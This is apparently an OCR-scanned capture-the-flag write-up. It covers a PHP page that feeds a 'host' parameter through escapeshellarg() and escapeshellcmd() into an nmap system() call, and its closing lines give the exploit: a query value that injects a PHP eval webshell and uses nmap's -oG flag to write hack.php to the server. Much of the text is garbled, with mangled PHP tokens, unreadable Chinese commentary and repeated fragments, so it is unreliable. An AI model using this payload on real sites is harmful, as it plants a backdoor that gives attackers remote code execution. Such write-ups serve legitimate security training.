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<?php
(isset (§_SERVER[' HTTP_X_FORWARDED_FOR’ 1))

$_SERVER[' REMOTE_ADDR'] = S_SER‘.'ER_'HT-TE" X_FORWARDED_FOR' ]:

if(lisset($_GET[ host'])) {
highlight_file(_ FILE_ );

else
$host = $ GET[ hast'];
Shost escapeshellarg ($host) ;
Shost escapeshel lemd ($host) ;
$sandbox md5 | jin". $_SERVER[' REMOTE_ADDR ]):

echo YOu ar 1 sandbox . $sandbox:
Bmkdir ($sandbo:
chdir (3sandb

echo system{"mmap -T5 -sT -Pn host-timeout 2 -F " $host):

?php

if (isset($_SERVER[
$_SERVER[ ] = $_SERVER][
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if(lisset($_GET[ 1) A
highlight_file(_ FILE_ );
} else {
$host = $_GET[ 15

$host = escapeshellarg($host);

$host = escapeshellcmd($host);
$sandbox = md5( . $ SERVER[
echo .$sandbox;
@mkdir($sandbox) ;

chdir($sandbox);

echo system(

if (isset(S$S_SERVER['HTTP_X_FORWARDED_FOR'
S_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'
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if(lisset($ _GET[ "host'
highlight_file(__FILE__

$_GET['host'] get/y XAL{E, (HtorEibbs: FEIR

isset() % WA host FA4E I HAE AN NULL iz [] TRUE, 503 5] FALSE.
highlight_file() BRZCH SCAFHEAT PHP iR ioR . WEER 4 ) HTML bRk T Mot .
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Shost = escapeshellarg(Shost
Shost = escapeshellcmd(Shost

PHP escapeshellarg()+escapeshellcmd()
escapeshellarg s A FL5| 5 AT X JF HG R g g n—4> .55
escapeshellcmd {25 V& HL [ (851 ST 3, 0 —SORp IR AT EAT i L & #;7 |* 2 ~<>M()[1{} 8

?php

var_dump(escapeshellcmd(

echo ;

%#$/"\PHP escapeshellarg()+escapeshellcmd()f T
https://paper.seebug.org/164/

NS HE: 172.17.0.2" -v -d a=1
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nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST[123]); ?> -0G hack.php
Rl 523 ?host=<?php @eval($_POST["123"]);?> -0G hack.php

AR
?host=" <?php @eval($_POST["123"]);?> -0G hack.php’
AN 7<?php @eval($_POST["123"]); ?> -0G hack.php
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<?php @eval($_POST[123]); ?> -0G hack.php \
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